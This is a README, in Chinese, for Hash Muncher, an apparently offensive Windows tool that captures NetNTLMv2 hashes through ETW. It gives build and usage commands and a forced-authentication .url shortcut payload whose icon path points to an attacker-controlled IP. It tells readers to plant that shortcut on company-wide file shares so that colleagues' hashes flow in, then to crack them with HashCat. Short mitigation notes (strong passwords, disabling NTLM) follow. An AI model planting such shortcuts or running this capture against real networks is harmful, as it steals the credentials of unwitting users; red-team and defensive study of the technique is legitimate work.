Hash Muncher

使用 Windows 上的管理员权限通过 ETW 获取 NetNTLMv2 哈希

• 需要在 Windows 8.1 / Windows 2016 或更高版本上具有提升的（管理员）权限
• 使用 Windows 事件跟踪（ETW）来获取 SMB 认证数据包的原始数据包数据
• 解码 NTLM 消息类型 2 和 3
• 输出到 stdout 或文件
• 按 Ctrl-C 停止处理或使用 timeout 选项
• 使用 HashCat 以 -m 5600 破解哈希

获取 Hash Muncher

有三种不同的方式来安装并运行它

A) 从 releases 下载自动构建的二进制文件

B) 通过以下 Go 命令在 Windows 上构建并安装

• 需要 Golang

go install github.com/lkarlslund/hashmuncher@latest

C) 在任何支持 Golang 且安装了 PowerShell 的平台上交叉编译 Windows 二进制文件

• 需要 Golang 和 PowerShell

git clone https://github.com/lkarlslund/hashmuncher
cd hashmuncher
./build.ps1

使用方法

1. 确保 Windows 防火墙允许"文件和打印机共享"，因为 Hash Muncher 需要内置的 SMB 服务来发送和接收初始请求，并向目标发送响应数据包。

2. 在提升的命令提示符中运行 Hash Muncher

hashmuncher.exe [-output filename.txt] [-timeout nnn] [-tracename yourname] [-help]

3. 然后等待某人针对你的机器进行身份验证，或在流行的共享文件共享上放置一个 URL 快捷方式，如下所示。

[InternetShortcut]
URL=Munch
WorkingDirectory=MunchMunch
IconFile=\\10.1.2.3\%USERNAME%.icon
IconIndex=1

将 IP 地址替换为你的 Hash Muncher 机器，并将文件保存到（全公司范围的）文件共享，命名为 'whatever.url'，然后看着哈希源源不断地涌来。

Red Team Notes - Forced Authentication 中提到了其他方法，你也可以通过向所有人发送 Word 文档来获得成功，但这一点也不隐蔽。

检测

• 我还没有看到任何现有的检测，但请留下反馈

缓解措施

• 对 ETW 部分没有缓解措施，微软表示这是 Windows 设计的一部分
• 使用强密码！破解 NetNTLMv2 一点都不快，但如果密码很弱，肯定是可以破解的。
• 完全禁用 NTLM！这可能会很痛苦——但请看 Farewell NTLM - It is time to disable NTLM

历史

我一直在断断续续地研究 ETW，但当我看到 Nettitude Labs 的研究 时，我就知道我必须把它变成我最喜欢的语言 Golang 中易于使用的工具！Nettitude Labs 有一个用 C# 编写的可在 .Net 框架下运行的 POC，可能对你来说是更好的选择。所以我并没有真正发明什么，只是把它作为替代品添加进来。

如果你喜欢 Windows 安全相关的东西，你可能也会喜欢我的攻击图工具 Adalanche